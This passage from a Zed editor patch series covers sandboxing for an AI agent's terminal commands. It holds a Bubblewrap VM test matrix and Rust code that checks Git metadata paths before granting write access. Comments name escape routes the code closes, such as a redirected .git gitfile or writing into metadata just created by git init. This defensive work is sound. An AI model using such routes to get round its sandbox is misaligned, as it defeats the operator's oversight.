+        fs = "restricted";
+        writablePaths = [ "/sandbox-test/not-yet-created/deep" ];
+        networkAccess = "blocked";
+        write = "/sandbox-test/readable/host.txt";
+        succeeds = false;
+      }
+
+      # ...and the not-yet-existing path itself is created and writable.
+      {
+        fs = "restricted";
+        writablePaths = [ "/sandbox-test/not-yet-created/deep" ];
+        networkAccess = "blocked";
+        write = "/sandbox-test/not-yet-created/deep/ok.txt";
+        succeeds = true;
+      }
+
+      # The fs escape hatch lets a command write anywhere.
+      {
+        fs = "unrestricted";
+        networkAccess = "blocked";
+        write = "/sandbox-test/forbidden/anywhere.txt";
+        succeeds = true;
+      }
+
+      # Blocked network: the echo server is unreachable.
+      {
+        fs = "restricted";
+        writablePaths = [ "/sandbox-test/writable" ];
+        networkAccess = "blocked";
+        network = "echo1";
+        succeeds = false;
+      }
+
+      # Unrestricted network: both echo servers are reachable.
+      {
+        fs = "restricted";
+        writablePaths = [ "/sandbox-test/writable" ];
+        networkAccess = "unrestricted";
+        network = "echo1";
+        succeeds = true;
+      }
+      {
+        fs = "restricted";
+        writablePaths = [ "/sandbox-test/writable" ];
+        networkAccess = "unrestricted";
+        network = "echo2";
+        succeeds = true;
+      }
+
+      # Restricted network: only the allowlisted host is reachable.
+      {
+        fs = "restricted";
+        writablePaths = [ "/sandbox-test/writable" ];
+        networkAccess = "restricted";
+        allowedDomains = [ "echo1" ];
+        network = "echo1";
+        succeeds = true;
+      }
+      {
+        fs = "restricted";
+        writablePaths = [ "/sandbox-test/writable" ];
+        networkAccess = "restricted";
+        allowedDomains = [ "echo1" ];
+        network = "echo2";
+        succeeds = false;
+      }
+
+      # On a working host the sandbox can be created.
+      {
+        fs = "restricted";
+        networkAccess = "blocked";
+        canCreate = true;
+      }
+    ];
   };
 
   sandbox-no-bwrap = mkTest {
     name = "sandbox-no-bwrap";
-    installBwrap = false;
-    expectedDegradeStatus = "bwrap_not_found";
+    machine = machineConfigs.no-bwrap;
+    checks = [ { canCreate = false; error = "bwrap_not_found"; } ];
+  };
+
+  sandbox-setuid-bwrap = mkTest {
+    name = "sandbox-setuid-bwrap";
+    machine = machineConfigs.setuid-bwrap;
+    checks = [ { canCreate = false; error = "setuid_rejected"; } ];
+  };
+
+  sandbox-userns-disabled = mkTest {
+    name = "sandbox-userns-disabled";
+    machine = machineConfigs.userns-disabled;
+    checks = [ { canCreate = false; error = "probe_failed"; } ];
   };
 }
diff --git a/tooling/xtask/src/tasks/sandbox_tests.rs b/tooling/xtask/src/tasks/sandbox_tests.rs
index c885d97e8e03a2..bf68ca27b43f90 100644
--- a/tooling/xtask/src/tasks/sandbox_tests.rs
+++ b/tooling/xtask/src/tasks/sandbox_tests.rs
@@ -7,14 +7,16 @@ use clap::Parser;
 
 /// Runs the Linux Bubblewrap sandboxing NixOS VM tests (see `nix/tests/sandboxing`).
 ///
-/// Each test boots a real kernel under QEMU to exercise bwrap behavior: one
-/// scenario with unprivileged user namespaces available (the sandbox must be
-/// enforced) and one with them disabled (the launcher must report the failure
-/// and degrade gracefully). They therefore only run on Linux with `/dev/kvm`
-/// available, and require `nix` with flakes enabled.
+/// Each test boots a real kernel under QEMU to exercise bwrap behavior across
+/// host configurations: a working host (the sandbox must be enforced and the
+/// full fs x network policy matrix must hold), and degraded hosts (no bwrap,
+/// setuid-only bwrap, user namespaces disabled) where `Sandbox::can_create`
+/// must report the specific failure and the consumer must fail closed. They
+/// therefore only run on Linux with `/dev/kvm` available, and require `nix`
+/// with flakes enabled.
 #[derive(Parser)]
 pub struct SandboxTestsArgs {
-    /// Names of specific tests to run (e.g. `sandbox-userns-enabled`). Defaults
+    /// Names of specific tests to run (e.g. `sandbox-working`). Defaults
     /// to all.
     tests: Vec<String>,
 

From 5d06fffd98b73cad8caa6efd08e5850345b60957 Mon Sep 17 00:00:00 2001
From: Richard Feldman <richard@zed.dev>
Date: Wed, 24 Jun 2026 00:16:25 -0400
Subject: [PATCH 069/772] Harden Git sandbox metadata grants (#59785)

Agent terminal commands that request Git metadata access now verify
linked-worktree and submodule metadata before moving Git paths from
protected to writable sandbox paths. This prevents a mutated `.git`
gitfile from redirecting a grant to unrelated repository metadata while
preserving standard submodule layouts.

Release Notes:

- Improved agent terminal sandboxing for Git metadata access.

---------

Co-authored-by: Martin Ye <martin@zed.dev>
---
 crates/agent/src/sandboxing.rs                |   14 +-
 crates/agent/src/thread.rs                    |  113 +-
 crates/agent/src/tools.rs                     |    1 +
 crates/agent/src/tools/terminal_tool.rs       |   46 +-
 .../tools/terminal_tool/sandbox_git_paths.rs  | 1416 +++++++++++++++++
 .../src/conversation_view/thread_view.rs      |   62 +-
 6 files changed, 1621 insertions(+), 31 deletions(-)
 create mode 100644 crates/agent/src/tools/terminal_tool/sandbox_git_paths.rs

diff --git a/crates/agent/src/sandboxing.rs b/crates/agent/src/sandboxing.rs
index c930751135dadc..2c5e32a02d4399 100644
--- a/crates/agent/src/sandboxing.rs
+++ b/crates/agent/src/sandboxing.rs
@@ -46,12 +46,14 @@ pub fn sandbox_worktree_writable_paths(project: &Project, cx: &App) -> Vec<PathB
         .collect()
 }
 
-/// The `.git` directories the sandbox protects (or, when Git access is granted,
-/// makes writable) for a project. Locating these requires Git knowledge the
-/// sandbox layer can't derive itself: a worktree's `.git`, a linked worktree's
-/// common dir (which lives outside the worktree), and every discovered
-/// repository's git/common dirs. Shared by the terminal tool (enforcement) and
-/// the status UI so the two can't drift.
+/// The candidate `.git` directories the sandbox protects for a project. Locating
+/// these requires Git knowledge the sandbox layer can't derive itself: a
+/// worktree's `.git`, a linked worktree's common dir (which lives outside the
+/// worktree), and every discovered repository's git/common dirs.
+///
+/// When Git metadata access is granted, terminal enforcement and the status UI
+/// both run these candidates through the verifier in `sandbox_git_paths` before
+/// treating external Git metadata as writable.
 pub fn sandbox_git_dirs(project: &Project, cx: &App) -> Vec<PathBuf> {
     let mut git_dirs = Vec::new();
 
diff --git a/crates/agent/src/thread.rs b/crates/agent/src/thread.rs
index 975aacdaeaabbc..915ade9f1d91dc 100644
--- a/crates/agent/src/thread.rs
+++ b/crates/agent/src/thread.rs
@@ -15,6 +15,7 @@ use crate::sandboxing::{
     SandboxRequest, ThreadSandbox, ThreadSandboxGrants, sandboxing_available_for_project,
     sandboxing_enabled_for_project,
 };
+use crate::tools::{SandboxGitPathCandidates, sandbox_git_paths};
 use agent_client_protocol::schema::v1 as acp;
 use agent_settings::{
     AgentProfileId, AgentSettings, AutoCompactThreshold, COMPACTION_PROMPT,
@@ -71,6 +72,29 @@ const TOOL_CANCELED_MESSAGE: &str = "Tool canceled by user";
 pub const MAX_TOOL_NAME_LENGTH: usize = 64;
 pub const MAX_SUBAGENT_DEPTH: u8 = 1;
 
+#[derive(Clone, Debug, Eq, PartialEq)]
+pub struct SandboxStatusKey {
+    pub settings_sandbox: ThreadSandbox,
+    pub thread_sandbox: ThreadSandbox,
+    pub baseline_writable_paths: Vec<PathBuf>,
+    pub git_paths: Vec<PathBuf>,
+    pub repository_paths: Vec<(PathBuf, PathBuf, PathBuf, PathBuf)>,
+    pub settings_allow_git_access: bool,
+    pub thread_allow_git_access: bool,
+}
+
+#[derive(Clone, Debug, Eq, PartialEq)]
+pub struct VerifiedSandboxStatus {
+    pub settings_sandbox: ThreadSandbox,
+    pub thread_sandbox: ThreadSandbox,
+    pub baseline_writable_paths: Vec<PathBuf>,
+}
+
+pub enum SandboxStatusRefresh {
+    Ready(VerifiedSandboxStatus),
+    Pending(Task<VerifiedSandboxStatus>),
+}
+
 /// Auto-compaction is only available for models whose context window is at least
 /// this large. For smaller models there isn't enough headroom for a compaction
 /// pass to be worthwhile, so we leave the thread uncompacted and let the UI warn
@@ -1749,20 +1773,14 @@ impl Thread {
         }
     }
 
-    /// The sandbox that currently applies to agent terminal commands in this
-    /// thread, as two layers: the user's persistent settings and this thread's
-    /// overrides (see [`ThreadSandbox`]). Returns `None` when sandboxing isn't
-    /// applicable to the project at all, so the UI shows no indicator.
-    ///
-    /// The layers are returned pre-merge so the UI can show their provenance
-    /// separately; [`ThreadSandbox::merge`] combines them into what is enforced.
+    /// The sandbox grants configured for this thread, using unverified Git path
+    /// candidates. Use [`Self::refresh_verified_sandbox_status`] for UI or other
+    /// surfaces that need to match terminal enforcement.
     pub fn sandbox_status(&self, cx: &App) -> Option<(ThreadSandbox, ThreadSandbox)> {
         if !self.sandboxing_available(cx) {
             return None;
         }
         let persistent = AgentSettings::get_global(cx).sandbox_permissions.clone();
-        // The project's `.git` locations are the same for both layers; whether
-        // they're writable differs (settings grant vs. thread grant).
         let git_dirs = crate::sandboxing::sandbox_git_dirs(self.project.read(cx), cx);
         let grants = self.sandbox_grants.borrow();
         let settings = crate::sandboxing::settings_thread_sandbox(&persistent)
@@ -1773,6 +1791,83 @@ impl Thread {
         Some((settings, thread))
     }
 
+    pub fn refresh_verified_sandbox_status(
+        &self,
+        cx: &mut Context<Self>,
+    ) -> Option<(SandboxStatusKey, SandboxStatusRefresh)> {
+        if !self.sandboxing_available(cx) {
+            return None;
+        }
+
+        let persistent = AgentSettings::get_global(cx).sandbox_permissions.clone();
+        let settings_sandbox = crate::sandboxing::settings_thread_sandbox(&persistent);
+        let grants = self.sandbox_grants.borrow();
+        let thread_sandbox = grants.thread_sandbox();
+        let thread_allow_git_access = grants.git_access_granted();
+        drop(grants);
+
+        let (sandbox_path_candidates, fs) = {
+            let project = self.project.read(cx);
+            (
+                SandboxGitPathCandidates::from_project(project, cx),
+                project.fs().clone(),
+            )
+        };
+        let baseline_writable_paths = sandbox_path_candidates.writable_paths.clone();
+        let git_paths = sandbox_path_candidates.git_paths.clone();
+        let repository_paths = sandbox_path_candidates.cache_key_repositories();
+
+        let key = SandboxStatusKey {
+            settings_sandbox: settings_sandbox.clone(),
+            thread_sandbox: thread_sandbox.clone(),
+            baseline_writable_paths: baseline_writable_paths.clone(),
+            git_paths: git_paths.clone(),
+            repository_paths,
+            settings_allow_git_access: persistent.allow_git_access,
+            thread_allow_git_access,
+        };
+
+        if settings_sandbox.is_unsandboxed() || thread_sandbox.is_unsandboxed() {
+            return Some((
+                key,
+                SandboxStatusRefresh::Ready(VerifiedSandboxStatus {
+                    settings_sandbox,
+                    thread_sandbox,
+                    baseline_writable_paths,
+                }),
+            ));
+        }
+
+        let git_access_requested = persistent.allow_git_access || thread_allow_git_access;
+        if !git_access_requested {
+            return Some((
+                key,
+                SandboxStatusRefresh::Ready(VerifiedSandboxStatus {
+                    settings_sandbox: settings_sandbox.with_git(false, git_paths.clone()),
+                    thread_sandbox: thread_sandbox.with_git(false, git_paths),
+                    baseline_writable_paths,
+                }),
+            ));
+        }
+
+        let task = cx.spawn(async move |_this, _cx| {
+            let sandbox_paths = sandbox_git_paths(sandbox_path_candidates, fs.as_ref(), true).await;
+            VerifiedSandboxStatus {
+                settings_sandbox: settings_sandbox.with_git(
+                    persistent.allow_git_access && sandbox_paths.allow_git_access,
+                    sandbox_paths.git_dirs.clone(),
+                ),
+                thread_sandbox: thread_sandbox.with_git(
+                    thread_allow_git_access && sandbox_paths.allow_git_access,
+                    sandbox_paths.git_dirs,
+                ),
+                baseline_writable_paths,
+            }
+        });
+
+        Some((key, SandboxStatusRefresh::Pending(task)))
+    }
+
     /// Whether agent terminal commands are sandboxed for this thread's project,
     /// so the UI can decide whether to surface the sandbox status at all.
     pub fn sandboxing_enabled(&self, cx: &App) -> bool {
diff --git a/crates/agent/src/tools.rs b/crates/agent/src/tools.rs
index f2e92dd28570fd..42d47a13275345 100644
--- a/crates/agent/src/tools.rs
+++ b/crates/agent/src/tools.rs
@@ -84,6 +84,7 @@ pub use rename_tool::*;
 pub use skill_tool::*;
 pub use spawn_agent_tool::*;
 pub use symbol_locator::*;
+pub(crate) use terminal_tool::sandbox_git_paths::{SandboxGitPathCandidates, sandbox_git_paths};
 pub use terminal_tool::*;
 pub use tool_permissions::*;
 pub use web_search_tool::*;
diff --git a/crates/agent/src/tools/terminal_tool.rs b/crates/agent/src/tools/terminal_tool.rs
index 5282019cc00187..eb99ab319d8514 100644
--- a/crates/agent/src/tools/terminal_tool.rs
+++ b/crates/agent/src/tools/terminal_tool.rs
@@ -17,6 +17,9 @@ use std::{
 use crate::SandboxFallbackDecision;
 use crate::sandboxing::{NetworkRequest, sandboxing_enabled_for_project};
 use crate::{AgentTool, ThreadEnvironment, ToolCallEventStream, ToolInput};
+use sandbox_git_paths::{SandboxGitPathCandidates, sandbox_git_paths};
+
+pub(crate) mod sandbox_git_paths;
 
 const COMMAND_OUTPUT_LIMIT: u64 = 16 * 1024;
 
@@ -572,6 +575,7 @@ async fn run_terminal_tool(
         allow(unused_mut)
     )]
     let mut sandbox_not_applied: Option<acp_thread::SandboxNotAppliedReason> = None;
+    let mut git_access_downgrade_note = None;
     let sandbox_wrap = if sandboxing && !want_unsandboxed {
         if unsandboxed_floor {
             // Every command in this thread runs unsandboxed because the user
@@ -588,18 +592,32 @@ async fn run_terminal_tool(
                         .to_string(),
                 );
             }
-            let (writable_paths, git_dirs) = cx.update(|cx| {
-                let project = project.read(cx);
+            let (fs, sandbox_path_candidates) = cx.update(|cx| {
                 (
-                    crate::sandboxing::sandbox_worktree_writable_paths(project, cx),
-                    crate::sandboxing::sandbox_git_dirs(project, cx),
+                    project.read(cx).fs().clone(),
+                    SandboxGitPathCandidates::from_project(project.read(cx), cx),
                 )
             });
+            let sandbox_paths = sandbox_git_paths(
+                sandbox_path_candidates,
+                fs.as_ref(),
+                effective.allow_git_access,
+            )
+            .await;
+            if effective.allow_git_access && !sandbox_paths.allow_git_access {
+                log::warn!(
+                    "Downgrading requested agent terminal Git metadata access because one or more external Git metadata paths could not be verified"
+                );
+                git_access_downgrade_note = Some(
+                    "Note: Git metadata access was requested or already allowed, but Zed could not verify one or more external Git metadata paths for this project. The command ran with Git metadata protected, so Git operations that read or write `.git` may fail with sandbox permission errors."
+                        .to_string(),
+                );
+            }
             let wrap = acp_thread::SandboxWrap {
-                writable_paths,
+                writable_paths: sandbox_paths.writable_paths,
                 extra_write_paths: effective.write_paths,
-                git_dirs,
-                allow_git_access: effective.allow_git_access,
+                git_dirs: sandbox_paths.git_dirs,
+                allow_git_access: sandbox_paths.allow_git_access,
                 network: network_request_to_sandbox_network_access(&effective.network),
                 allow_fs_write: effective.allow_fs_write_all,
                 is_local: is_local_project,
@@ -884,9 +902,17 @@ async fn run_terminal_tool(
     let output = terminal.current_output(cx).map_err(|e| e.to_string())?;
 
     let result = process_content(output, &input.command, timed_out, user_stopped, selection);
-    Ok(match sandbox_note {
-        Some(note) => format!("{note}\n\n{result}"),
-        None => result,
+    let git_access_downgrade_note = (sandbox_wrap.is_some() && sandbox_not_applied.is_none())
+        .then_some(git_access_downgrade_note)
+        .flatten();
+    let notes = sandbox_note
+        .into_iter()
+        .chain(git_access_downgrade_note)
+        .collect::<Vec<_>>();
+    Ok(if notes.is_empty() {
+        result
+    } else {
+        format!("{}\n\n{result}", notes.join("\n\n"))
     })
 }
 
diff --git a/crates/agent/src/tools/terminal_tool/sandbox_git_paths.rs b/crates/agent/src/tools/terminal_tool/sandbox_git_paths.rs
new file mode 100644
index 00000000000000..4133d5d15cefc5
--- /dev/null
+++ b/crates/agent/src/tools/terminal_tool/sandbox_git_paths.rs
@@ -0,0 +1,1416 @@
+use fs::Fs;
+use gpui::App;
+use project::Project;
+use std::path::{Path, PathBuf};
+
+#[derive(Default)]
+pub(crate) struct SandboxGitPathCandidates {
+    pub(crate) writable_paths: Vec<PathBuf>,
+    pub(crate) git_paths: Vec<PathBuf>,
+    repositories: Vec<SandboxGitRepositoryPaths>,
+}
+
+struct SandboxGitRepositoryPaths {
+    work_directory_abs_path: PathBuf,
+    dot_git_abs_path: PathBuf,
+    repository_dir_abs_path: PathBuf,
+    common_dir_abs_path: PathBuf,
+}
+
+pub(crate) struct SandboxGitPaths {
+    pub(crate) writable_paths: Vec<PathBuf>,
+    pub(crate) git_dirs: Vec<PathBuf>,
+    pub(crate) allow_git_access: bool,
+}
+
+impl SandboxGitPathCandidates {
+    pub(crate) fn cache_key_repositories(&self) -> Vec<(PathBuf, PathBuf, PathBuf, PathBuf)> {
+        let mut repositories = self
+            .repositories
+            .iter()
+            .map(|repository| {
+                (
+                    repository.work_directory_abs_path.clone(),
+                    repository.dot_git_abs_path.clone(),
+                    repository.repository_dir_abs_path.clone(),
+                    repository.common_dir_abs_path.clone(),
+                )
+            })
+            .collect::<Vec<_>>();
+        repositories.sort();
+        repositories
+    }
+
+    pub(crate) fn from_project(project: &Project, cx: &App) -> Self {
+        let mut candidates = Self::default();
+
+        for worktree in project.worktrees(cx) {
+            let worktree = worktree.read(cx);
+            let worktree_abs_path = worktree.abs_path();
+            candidates
+                .writable_paths
+                .push(worktree_abs_path.to_path_buf());
+            // Protect `<worktree>/.git` even when it doesn't exist yet, so a command
+            // can't `git init` and then write to the freshly created metadata.
+            candidates.git_paths.push(worktree_abs_path.join(".git"));
+
+            // `Worktree` derefs to `Snapshot`; read the field directly instead of
+            // cloning the whole snapshot just for this path.
+            if let Some(root_repo_common_dir) = worktree.root_repo_common_dir() {
+                candidates
+                    .git_paths
+                    .push(root_repo_common_dir.to_path_buf());
+            }
+        }
+
+        // `Repository` derefs to `RepositorySnapshot`, so read the few path fields
+        // directly rather than cloning the entire snapshot (which carries the
+        // per-path status tree) for each repository.
+        for repository in project.git_store().read(cx).repositories().values() {
+            let repository = repository.read(cx);
+            let repository_paths = SandboxGitRepositoryPaths {
+                work_directory_abs_path: repository.work_directory_abs_path.to_path_buf(),
+                dot_git_abs_path: repository.dot_git_abs_path.to_path_buf(),
+                repository_dir_abs_path: repository.repository_dir_abs_path.to_path_buf(),
+                common_dir_abs_path: repository.common_dir_abs_path.to_path_buf(),
+            };
+            candidates
+                .git_paths
+                .push(repository_paths.dot_git_abs_path.clone());
+            candidates
+                .git_paths
+                .push(repository_paths.repository_dir_abs_path.clone());
+            candidates
+                .git_paths
+                .push(repository_paths.common_dir_abs_path.clone());
+            candidates.repositories.push(repository_paths);
+        }
+
+        candidates.git_paths.sort();
+        candidates.git_paths.dedup();
+        candidates.writable_paths.sort();
+        candidates.writable_paths.dedup();
+
+        candidates
+    }
+}
+
+pub(crate) async fn sandbox_git_paths(
+    candidates: SandboxGitPathCandidates,
+    fs: &dyn Fs,
+    allow_git_access: bool,
+) -> SandboxGitPaths {
+    let mut writable_paths = candidates.writable_paths;
+    let mut git_dirs = candidates.git_paths;
+
+    let mut allow_verified_git_access = false;
+    if allow_git_access {
+        let mut verified_git_paths = Vec::new();
+        for repository in candidates.repositories {
+            verified_git_paths.extend(verified_sandbox_git_paths(repository, fs).await);
+        }
+        verified_git_paths.sort();
+        verified_git_paths.dedup();
+
+        // A Git path inside a writable worktree root is already writable, so
+        // granting it can never escalate access beyond the project. A non-repo
+        // `.git` placeholder there (a plain folder opened alongside a repo, or a
+        // not-yet-initialized repo) would never appear in `verified_git_paths`,
+        // so requiring it to verify would wrongly deny the whole grant. Only
+        // paths that fall *outside* every writable root can leak access to
+        // unrelated metadata, so those are the only ones that must verify.
+        let mut all_external_git_paths_verified = true;
+        for path in &git_dirs {
+            if path_is_within_any(path, &writable_paths) {
+                continue;
+            }
+            let Some(normalized_path) = normalize_sandbox_git_path(path, fs).await else {
+                log::warn!(
+                    "Denying requested agent terminal Git metadata access because external Git metadata path `{}` could not be normalized",
+                    path.display()
+                );
+                all_external_git_paths_verified = false;
+                break;
+            };
+            if verified_git_paths.binary_search(&normalized_path).is_err() {
+                log::warn!(
+                    "Denying requested agent terminal Git metadata access because external Git metadata path `{}` (normalized to `{}`) was not verified from project repository metadata",
+                    path.display(),
+                    normalized_path.display()
+                );
+                all_external_git_paths_verified = false;
+                break;
+            }
+        }
+
+        // The current sandbox policy can make one Git directory set either all
+        // writable or all protected. Only grant Git access when every external
+        // candidate still verifies; otherwise keep protecting the original
+        // candidate set. The granted set is the verified paths only, so even
+        // when the grant proceeds, unverified `.git` metadata never becomes
+        // writable.
+        if all_external_git_paths_verified {
+            git_dirs = verified_git_paths;
+            allow_verified_git_access = true;
+        }
+    }
+
+    git_dirs.sort();
+    git_dirs.dedup();
+    writable_paths.sort();
+    writable_paths.dedup();
+
+    SandboxGitPaths {
+        writable_paths,
+        git_dirs,
+        allow_git_access: allow_verified_git_access,
+    }
+}
+
+async fn verified_sandbox_git_paths(
+    repository: SandboxGitRepositoryPaths,
+    fs: &dyn Fs,
+) -> Vec<PathBuf> {
+    macro_rules! deny {
+        ($($arg:tt)*) => {{
+            log::debug!(
+                "Denying agent terminal Git metadata access for repository `{}` (dot_git: `{}`, repository_dir: `{}`, common_dir: `{}`): {}",
+                repository.work_directory_abs_path.display(),
+                repository.dot_git_abs_path.display(),
+                repository.repository_dir_abs_path.display(),
+                repository.common_dir_abs_path.display(),
+                format_args!($($arg)*)
+            );
+            return Vec::new();
+        }};
+    }
+
+    let Some(dot_git_abs_path) = normalize_sandbox_git_path(&repository.dot_git_abs_path, fs).await
+    else {
+        deny!(
+            "could not normalize .git path `{}`",
+            repository.dot_git_abs_path.display()
+        );
+    };
+    let Some(repository_dir_abs_path) =
+        normalize_sandbox_git_path(&repository.repository_dir_abs_path, fs).await
+    else {
+        deny!(
+            "could not normalize repository dir `{}`",
+            repository.repository_dir_abs_path.display()
+        );
+    };
+    let Some(common_dir_abs_path) =
+        normalize_sandbox_git_path(&repository.common_dir_abs_path, fs).await
+    else {
+        deny!(
+            "could not normalize common dir `{}`",
+            repository.common_dir_abs_path.display()
+        );
+    };
+
+    let dot_git_metadata = match fs.metadata(&repository.dot_git_abs_path).await {
+        Ok(Some(metadata)) => metadata,
+        Ok(None) => deny!(
+            ".git path `{}` does not exist",
+            repository.dot_git_abs_path.display()
+        ),
+        Err(error) => deny!(
+            "failed to read metadata for .git path `{}`: {error}",
+            repository.dot_git_abs_path.display()
+        ),
+    };
+    if dot_git_metadata.is_symlink {
+        deny!(
+            ".git path `{}` is a symlink",
+            repository.dot_git_abs_path.display()
+        );
+    }
+
+    if dot_git_metadata.is_dir {
+        if dot_git_abs_path != repository_dir_abs_path {
+            deny!(
+                "directory .git path `{}` normalized to `{}`, which does not match repository dir `{}` normalized to `{}`",
+                repository.dot_git_abs_path.display(),
+                dot_git_abs_path.display(),
+                repository.repository_dir_abs_path.display(),
+                repository_dir_abs_path.display()
+            );
+        }
+
+        if repository_dir_abs_path == common_dir_abs_path {
+            return vec![
+                dot_git_abs_path,
+                repository_dir_abs_path,
+                common_dir_abs_path,
+            ];
+        }
+
+        let Some(common_dir) = read_commondir_path(&repository_dir_abs_path, fs).await else {
+            deny!(
+                "repository dir `{}` did not contain a readable commondir pointing at expected common dir `{}`",
+                repository_dir_abs_path.display(),
+                common_dir_abs_path.display()
+            );
+        };
+        if common_dir == common_dir_abs_path {
+            return vec![
+                dot_git_abs_path,
+                repository_dir_abs_path,
+                common_dir_abs_path,
+            ];
+        }
+        deny!(
+            "repository dir `{}` commondir resolved to `{}`, expected `{}`",
+            repository_dir_abs_path.display(),
+            common_dir.display(),
+            common_dir_abs_path.display()
+        );
+    }
+
+    let Some(expected_dot_git_abs_path) =
+        normalize_sandbox_git_path(repository.work_directory_abs_path.join(".git"), fs).await
+    else {
+        deny!(
+            "could not normalize expected worktree .git path `{}`",
+            repository.work_directory_abs_path.join(".git").display()
+        );
+    };
+    if dot_git_abs_path != expected_dot_git_abs_path {
+        deny!(
+            ".git path `{}` normalized to `{}`, expected worktree .git path `{}`",
+            repository.dot_git_abs_path.display(),
+            dot_git_abs_path.display(),
+            expected_dot_git_abs_path.display()
+        );
+    }
+
+    let Some(stated_repository_dir) = read_gitfile_path(&repository.dot_git_abs_path, fs).await
+    else {
+        deny!(
+            "gitfile `{}` did not resolve to a readable, non-symlink repository dir",
+            repository.dot_git_abs_path.display()
+        );
+    };
+
+    if stated_repository_dir != repository_dir_abs_path {
+        deny!(
+            "gitfile `{}` resolved to repository dir `{}`, expected `{}`",
+            repository.dot_git_abs_path.display(),
+            stated_repository_dir.display(),
+            repository_dir_abs_path.display()
+        );
+    }
+
+    let Some(common_dir) = read_commondir_path(&stated_repository_dir, fs).await else {
+        if repository_dir_abs_path == common_dir_abs_path
+            && gitdir_belongs_to_submodule_worktree(
+                &repository_dir_abs_path,
+                &repository.work_directory_abs_path,
+                fs,
+            )
+            .await
+        {
+            return vec![dot_git_abs_path, repository_dir_abs_path];
+        }
+        deny!(
+            "repository dir `{}` has no verified commondir and did not verify as a submodule gitdir for worktree `{}`",
+            repository_dir_abs_path.display(),
+            repository.work_directory_abs_path.display()
+        );
+    };
+
+    if common_dir != common_dir_abs_path {
+        deny!(
+            "repository dir `{}` commondir resolved to `{}`, expected `{}`",
+            stated_repository_dir.display(),
+            common_dir.display(),
+            common_dir_abs_path.display()
+        );
+    }
+
+    if repository_dir_abs_path != common_dir_abs_path
+        && !linked_worktree_points_back(
+            &common_dir_abs_path,
+            &repository_dir_abs_path,
+            &dot_git_abs_path,
+            &repository.work_directory_abs_path,
+            fs,
+        )
+        .await
+    {
+        deny!(
+            "linked worktree repository dir `{}` did not point back to .git path `{}` and worktree `{}` under common dir `{}`",
+            repository_dir_abs_path.display(),
+            dot_git_abs_path.display(),
+            repository.work_directory_abs_path.display(),
+            common_dir_abs_path.display()
+        );
+    }
+
+    vec![
+        dot_git_abs_path,
+        repository_dir_abs_path,
+        common_dir_abs_path,
+    ]
+}
+
+async fn read_gitfile_path(dot_git_abs_path: &Path, fs: &dyn Fs) -> Option<PathBuf> {
+    let contents = match fs.load(dot_git_abs_path).await {
+        Ok(contents) => contents,
+        Err(error) => {
+            log::debug!(
+                "Could not verify Git metadata path: failed to read gitfile `{}`: {error}",
+                dot_git_abs_path.display()
+            );
+            return None;
+        }
+    };
+    let Some(gitdir) = contents.strip_prefix("gitdir:") else {
+        log::debug!(
+            "Could not verify Git metadata path: gitfile `{}` does not start with `gitdir:`",
+            dot_git_abs_path.display()
+        );
+        return None;
+    };
+    let gitdir = Path::new(gitdir.trim());
+    let Some(dot_git_parent) = dot_git_abs_path.parent() else {
+        log::debug!(
+            "Could not verify Git metadata path: gitfile `{}` has no parent directory",
+            dot_git_abs_path.display()
+        );
+        return None;
+    };
+    let path = if gitdir.is_absolute() {
+        gitdir.to_path_buf()
+    } else {
+        dot_git_parent.join(gitdir)
+    };
+    match fs.metadata(&path).await {
+        Ok(Some(metadata)) if metadata.is_symlink => {
+            log::debug!(
+                "Could not verify Git metadata path: gitfile `{}` points to symlinked gitdir `{}`",
+                dot_git_abs_path.display(),
+                path.display()
+            );
+            return None;
+        }
+        Ok(_) => {}
+        Err(error) => {
+            log::debug!(
+                "Could not check whether gitfile `{}` points to a symlink at `{}`: {error}",
+                dot_git_abs_path.display(),
+                path.display()
+            );
+        }
+    }
+    let normalized_path = normalize_sandbox_git_path(&path, fs).await;
+    if normalized_path.is_none() {
+        log::debug!(
+            "Could not verify Git metadata path: gitfile `{}` points to gitdir `{}` that could not be normalized",
+            dot_git_abs_path.display(),
+            path.display()
+        );
+    }
+    normalized_path
+}
+
+async fn read_commondir_path(repository_dir_abs_path: &Path, fs: &dyn Fs) -> Option<PathBuf> {
+    let commondir_abs_path = repository_dir_abs_path.join("commondir");
+    let commondir_contents = match fs.load(&commondir_abs_path).await {
+        Ok(contents) => contents,
+        Err(error) => {
+            log::debug!(
+                "Could not verify Git metadata path: failed to read commondir file `{}`: {error}",
+                commondir_abs_path.display()
+            );
+            return None;
+        }
+    };
+    let commondir_path = Path::new(commondir_contents.trim());
+    let path = if commondir_path.is_absolute() {
+        commondir_path.to_path_buf()
+    } else {
+        repository_dir_abs_path.join(commondir_path)
+    };
+    let normalized_path = normalize_sandbox_git_path(&path, fs).await;
+    if normalized_path.is_none() {
+        log::debug!(
+            "Could not verify Git metadata path: commondir file `{}` points to `{}` which could not be normalized",
+            commondir_abs_path.display(),
+            path.display()
+        );
+    }
+    normalized_path
+}
+
+async fn linked_worktree_points_back(
+    common_dir_abs_path: &Path,
+    repository_dir_abs_path: &Path,
+    dot_git_abs_path: &Path,
+    work_directory_abs_path: &Path,
+    fs: &dyn Fs,
+) -> bool {
+    let expected_repository_parent = common_dir_abs_path.join("worktrees");
+    if repository_dir_abs_path.parent() != Some(expected_repository_parent.as_path()) {
+        log::debug!(
+            "Could not verify linked worktree Git metadata: repository dir `{}` is not under expected worktrees dir `{}`",
+            repository_dir_abs_path.display(),
+            expected_repository_parent.display()
+        );
+        return false;
+    }
+
+    match fs.metadata(repository_dir_abs_path).await {
+        Ok(Some(metadata)) if metadata.is_dir && !metadata.is_symlink => {}
+        Ok(Some(metadata)) => {
+            log::debug!(
+                "Could not verify linked worktree Git metadata: repository dir `{}` has invalid metadata (is_dir: {}, is_symlink: {})",
+                repository_dir_abs_path.display(),
+                metadata.is_dir,
+                metadata.is_symlink
+            );
+            return false;
+        }
+        Ok(None) => {
+            log::debug!(
+                "Could not verify linked worktree Git metadata: repository dir `{}` does not exist",
+                repository_dir_abs_path.display()
+            );
+            return false;
+        }
+        Err(error) => {
+            log::debug!(
+                "Could not verify linked worktree Git metadata: failed to read metadata for repository dir `{}`: {error}",
+                repository_dir_abs_path.display()
+            );
+            return false;
+        }
+    }
+
+    let expected_dot_git_abs_path = work_directory_abs_path.join(".git");
+    let Some(expected_dot_git_abs_path) =
+        normalize_sandbox_git_path(&expected_dot_git_abs_path, fs).await
+    else {
+        log::debug!(
+            "Could not verify linked worktree Git metadata: expected .git path `{}` could not be normalized",
+            expected_dot_git_abs_path.display()
+        );
+        return false;
+    };
+    if dot_git_abs_path != expected_dot_git_abs_path {
+        log::debug!(
+            "Could not verify linked worktree Git metadata: .git path `{}` does not match expected worktree .git path `{}`",
